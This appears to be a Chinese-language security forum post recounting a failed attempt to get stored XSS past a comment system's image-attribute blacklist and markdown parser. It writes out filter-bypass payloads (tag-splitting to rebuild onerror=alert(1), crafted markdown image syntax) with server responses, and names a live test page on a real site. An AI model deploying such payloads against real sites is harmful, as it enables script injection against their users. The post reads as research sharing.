从一次失败的xss挖掘引发的猜想
-
1.支持图片评论,在插入图片的情况下 不会过滤<>.
2.黑名单策略,过滤所有的img能执行js代码的属性名.
经过简单测试. 构造
<aaa>o<aaa>n<aaa>er<aaa>r<aaa>o<aaa>r=alert(1); 还原成 onerror=alert(1);
3.构造
<img src=1 title="x"<aaa>o<aaa>n<aaa>er<aaa>r<aaa>or=alert(1);解析成:
<p><img src="1" title="x" alt="1">onerror=alert(1) ;</p>4.也就是说:存在src的前提下,下一个属性名非title、alt就用 > 闭合当前标签.
5.排除宽字节转换,要去掉 > 貌似不容易.
经过简单测试,发现:
支持markdown格式.而且markdown引擎对输入的数据进行首次解析.
过程如下: payload -> markdown parse -> html entity encode
输出在引号之内的值,转义引号,输出在引号之外的值,转义尖括号.
markdown parse format: <img src="1" alt=" " title=" ">
当前markdown引擎不支持 ![aaa bbb](a.jpg) 来设置table的值.那么尝试构造:
![test">](1)payload= test">
markdown parse: <img src="1" alt="test">" title="test">">
html entity encode: <img src="1" alt="test">" title="test">">
我的思路是这样的:
闭合侧漏的代码块.构造payload时: 第一段闭合当前img
第二段img用引号吃掉多余的部分并且闭合
第三段img不闭合<img src=1
第四段为 <aaa>o<aaa>n<aaa>er<aaa>r<aaa>o<aaa>r=alert(1);
最终解析成:
<img src=1 alt=1><img src=1 alt=" titlebalbalabal" title="babalbalabla"><img src=1 onerror=alert(1);那么不难构造这样的payload:
![z"><img src=1](y)aaaamarkdown解析后,会生成两个img, 其实这不难理解.字符串拼接而已.
解析完毕后,再剥离markdown语法,还剩<img src=1 ,符合规则,所以<不会被转义.
回显如下:
<p><a href="y?spm=5176.100241.0.0.v9i3xu" target="_blank" data-spm-anchor-id="5176.100241.0.0"><img src="y" alt="z"><img src="1" title="z" alt="1""><img src="1" alt="1""></a>aaaa</p>用markdown格式写img的时候会生成 <a> 标签,跟后面的aaaa隔离了.
那么在markdown格式之前,构造一个未闭合的img,且其中属性值未闭合的格式,用来吃掉 <a> 标签.
payload:
<img src=g alt=">![z"><img src=1](y)aaaaresponse:
<p><img src="g" alt="><a href="><img src="y" alt="z"><img src="1" title="z" alt="1""><img src="1" alt="1"">aaaa</p>这里<img src=1 被强制闭合了
诸位下次遇到这种环境,运气好标签不是强制闭合,可一试此法.
测试环境: https://yq.aliyun.com/ask/39201/?order=ctime
小子抛砖引玉,如有奇技淫巧望不吝赐教.